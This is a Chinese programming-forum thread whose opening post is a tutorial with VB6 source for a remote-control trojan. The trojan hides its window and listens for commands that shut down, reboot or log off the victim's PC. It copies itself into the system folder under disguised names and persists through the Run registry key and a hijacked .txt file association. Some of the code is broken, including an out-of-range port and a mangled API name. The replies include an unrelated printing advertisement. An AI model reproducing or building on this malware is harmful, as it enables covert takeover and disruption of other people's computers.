QQ空间互踩 | 代码交流官方QQ群: ①4164128 ②13937921网络证件中心 | 更多QQ空间日志编辑器 | 火星文字
发新话题
打印

[〖VB语言交流专区〗] 利用VB编写破坏性木马

本主题由 花少 于 2009-1-6 09:45 分类

利用VB编写破坏性木马

首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。
接下来我们回来Server窗体模块中,添加如下代码:
引用:
以下是代码片段:
Private Sub form_Load()
  With Me
   .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)
   .sckServer.Listen '开始监听
  End With
End Sub
'接受客户端的连接请求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
  With Me
   If .sckServer.State <>sckClosed Then .sckServer.Close
   .sckServer.Accept (requestID)
  End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:
引用:
以下是代码片段:
Private Sub form_Load()
  With Me
   .sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。
   .sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样.
  End With
End Sub
Private sub cmdConnect_Click()
  SckClient.Connect
End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。

这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能——关机,重启,注销。好,开始吧!

在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
[quote]以下是代码片段:
Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As
Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As
Long

Public Type RECT
  Left As Long
  Top As Long
  Right As Long
  Bottom As Long
End Type
[/quote]
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:
引用:
以下是代码片段:
Private Sub cmdExit_Click()
  Me.sckClient.SendData "Exit"
End Sub
Private Sub cmdLogoff_Click()
  Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
  Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。
引用:
以下是代码片段:
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
  Dim strData As String
  With Me
   ' 接收客户请求的信息
   .sckServer.GetData strData
   Select Case strData
    Case "Exit"
     '关机
     Call ExitWindowXXX(EWX_SHUTDOWN, 0)
    Case "Reboot"
     '重启
     Call ExitWindowXXX(EWX_REBOOT, 0)
    Case "Logoff"
     '注销
    Call ExitWindowXXX(EWX_LOGOFF, 0)
   End Select
  End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

回到Server工程中的modApi中加入如下API函数:
引用:
以下是代码片段:
Public Declare Function RegOpenKey Lib "advapi32.dll"
Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As
Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal
hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long,
lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey
As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const HKEY_CLASSES_ROOT = &H80000000

写到注册表启动组中的过程。


Public Sub StartupGroup()
Dim sKey As String
  Dim result As Long
  Dim hKeyID As Long
  Dim sKeyVal As String

  sKey = "Systrsy" '启动组中的键,找一个与系统文件相近的。
  sKeyVal = "C:/windows/system/systrsy.exe" '木马文件的路径,可以用GetSystemDirectory来取
得系统路径。
  result = RegOpenKey(HKEY_LOCAL_MACHINE, _
    "Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
  If result = 0 Then
   result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
  End If
End Sub
好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
引用:
以下是代码片段:
Public Sub WriteToTxt()
  Dim result As Long
  Dim hKeyID As Long
  Dim skey As String
  Dim skeyVal As String

  skey = "txtfile/shell/open/command"
  skeyVal = "C:/windows/system/txtView.exe"
  result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

  If result = 0 Then
   result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
  End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/

txtView.exe是哪里来的,我们的木马是C:/windows/system/systrsy.exe呀。这可是我们木马的分身了。

好,回到Server工程的Server窗体的form_Load中,加入如下代码:
引用:
以下是代码片段:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
sSystemDir = “C:/windows/system”
On Error Resume Next
  '复制文件成系统目录下的Systrsy.exe
  FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next

复制文件成系统目录下的txtView.exe

FileCopy sCurrentPath, sSystemDir & "/txtView.exe"

   调用

Call startupGroup
Call WriteToTxt

'判断程序是否下在运行

If App.PrevInstance Then
  '如果已经运行就退出。
End

End If
好了,写到这里一个破坏性木马已经诞生了,我实验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河。

注意:

1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突。

2、在第一次使用VB.NET的最好看看有关的图书,可能你能写出一款超级木马也说不定。
本帖最近评分记录
  • tanchuyi 魅力花 +1 写木马毒人可不好啊 但加分还是要加地. 2008-8-26 14:01

        

TOP

超级木马??  难道想做第二个熊猫烧香?

TOP

让楼下的认识一下短版印刷机,精美画册怎么做出来的

           数码短版印刷是相对于传统胶印而言的,虽然当今的传统

胶印无论在印刷速度,印刷品质与设备性能方面都达到了相当高

的程度,但在商业高度发展、并且提倡个性化经营服务的今天,

电子出版与跨媒体出版技术的进一步发展,采用按需印刷的客户

不断增多,印数与品种成为变量,在不降低品质的前提下,灵活

性成为另一项衡量市场竞争力的重要指标。传统的印刷方式已经

不能完全满足日新月异的市场需求,一种全新的印刷方式--数码

短版印刷便在新的印刷市场环境下孕育而生了。
           



        简单地讲,数码印刷就是由电子文件直接成像于印刷介质

(如纸张),有别于传统印刷的一种全新印刷方式。


数码印刷的特点?


一张起印 无需制版 立等可取 即时纠错 可变印刷 按需印刷


数码印刷的好处
         


           【简便快捷】:


  数码印刷因为省却了菲林、拼版及晒版等繁复工序,在少量印刷

及急件上有着绝对的优势。另外,除了专业级的美术软件外,一

般办公室软件均可直接输出至印刷机,省却稿件的转换时间。


             【灵活处理】:


        印刷制作的全面电脑化让我们能为客户提供具有弹性的印刷

服务,及灵活处理客户的不同需求,包括内容及数量。这种弹性

处理印刷资料的技术,大大加强了客户在分秒必争的商业环境中

的优势。


              【无最低数量要求】:


数码印刷不设最低印刷量要求,故此十分灵活方便,适合款多量

少的宣传品或测试市场口味的少量印刷。


为什么要数码印刷


                   【市场需求】:


现代商业活动需求即时性强,灵活多变的印品,信息、内容、宣

传品很快会过时,而传统胶印一次性印刷大量实效性不强的印

品,虽然会减低单张成本,但实际上根本不可能有如此大量的需

求,多印部份实际也成了废品而浪费掉了。数码印刷真正迎合日

新月异的商业印品需求,快速印刷如数量少、品种灵活的印品。


                【未来发展趋势】:
        如今数码商务文印市场的发展速度是非常惊人的,高速发展

的信息化进程产生了大量需分发、交流、并且共享的信息资源,

传统印刷行业的落后与相对薄弱的服务环节和本身具有的快速的

灵活能力促进了数码短版输出行业的快速发展!


             【应急】:
         数码印刷由于无需传统胶印繁杂的工序,只需由计算机发往

印刷机即出成品,因此在急件印刷上是传统胶印无法比拟的。


              【可变数据印刷】:
         数码印刷可以输出个性化内容和变化信息用品,这是传统胶

印根本无法实现的。


数码印刷与传统胶印的比较:

          1、工序简单,节省时间

传统胶印 :设计-客户审稿-出片-晒版-打样-客户审验-印厂晒板-

追色-成品

数码印刷 :设计-客户审稿-成品


          2、灵活性高

可变资料印刷:传统印刷无法解决。

及时更正印刷错误:传统印刷发现错误须重新发片、重新印刷。

品种多数量少的印品:传统印刷解决困难,而且成本极高。

数码印件分类:

       1、 页数很多但需要数量很少,如:投标书、可变信息报

表、物业管理手册、出版社等审批的书刊、网上下载打印成书本

等。

        2、 页数较多,但需要的本数不多。如:通讯录、菜谱、汇

报材料、VI手册、培训资料、应急本、说明书、用户手册、规划

方案书等。


          3、 页数少,而数量相对较多,但还不足以达到传统印刷批

量。如:DM单、请柬及邀请函、贺卡、停车证、工作证、入场

卷、会议通知等。


数码短版印刷的应用领域

         高品质的印品是加强企业与用户之间进行沟通、改善企业形

象的重要手段,许多原本不受重视的细节,如(时效性印品、产

品说明书、用户培训手册)等,现已成为体现产品品质,提高客

户满意度,进而提高企业竞争力的重要因素。他们通过专业的数

码短版印刷服务机构来满足自身对各种文件处理方面的需求,从

市场发展的角度出发,外包服务将是企业印品需求的趋势,通过

此种方式,企业可以将大量的文件与宣传品外包给相应的服务供

应商,从而降低其运营成本,企业利用资金,集中致力于自身的

业务,同时更能够从专业的供应商那获得高质量、高效率的印

品。

数码印刷在国内主要成功应用

1、商业印刷类应用:短版、快印、标书、VI手册、产品说明

书、

2、邮政类客户应用:直邮商函、个性化明信片、个性化邮票。

3、出版物印刷类应用:短版图书、校对样书、送审书、征订图

书、再版书、个人出书 、学术专著。

4、高校印刷类应用 :不断更新的教材参考资料、讲义、学术论

文、个人专著。

5、制卡行业类应用:社保卡、电话卡、照片卡。

6、政府文印类应用:会议文件、资料汇编、情况通报、保密资料

印刷等。

7、个人应用:个人书画/摄影/设计作品集、个人明信片、个性

化请柬及邀请函、个人挂历、年历、、台历、节日贺卡、个性化

证书、个人专著、个人出书。

数码印刷主要市场应用方向

1、事务用品:高档名片、信纸、信封、便笺、表格、标签、明信

片、贺卡、工作证、光盘贴……


2、业务用品: 投标书、方案书、策划案、公司简介、画册、企

业年报、财务报告、产品型录、投资报告、VI手册、传单、海

报、价目表、邀请函、聘书、菜谱、茶谱、酒水单、优惠券、内

部期刊……

3、会议用品:简报资料、提案用图表、投影片、可行性报告、议

程表、资料夹、备忘录、名牌、桌牌、会场海报、通讯录、快

讯、通知书、总结报告……


4、个性化用品:个性化明信片、喜帖、请柬、年历、圣诞、贺年

卡、纪念册、会员卡、胸卡、工作证、毕业论文、毕业纪念册、

毕业推荐书、奖状、录取通知书、毕业证书、写真集、照片集、

个人出书……


5、工业生产:数码打样、快速印刷、短版图书、网络印刷、杂志

期刊、数码相片、照片集、写真集、防伪印刷、证卡印刷、标签

印刷、可变数据印刷、数据库印刷……


www.ldoa.com.cn有更详细的介绍

南海汉光数码印刷设备厂荣誉出品
电话:0757 85299799 85299699
传真:0757 81238127
联系人:苏力
13318217000



业务qq:195395033

TOP

不关我的事,我给大家讲笑话,艾子预哭

提示: 作者被禁止或删除 内容自动屏蔽

TOP

恩,破坏性貌似挺强悍的

TOP

发新话题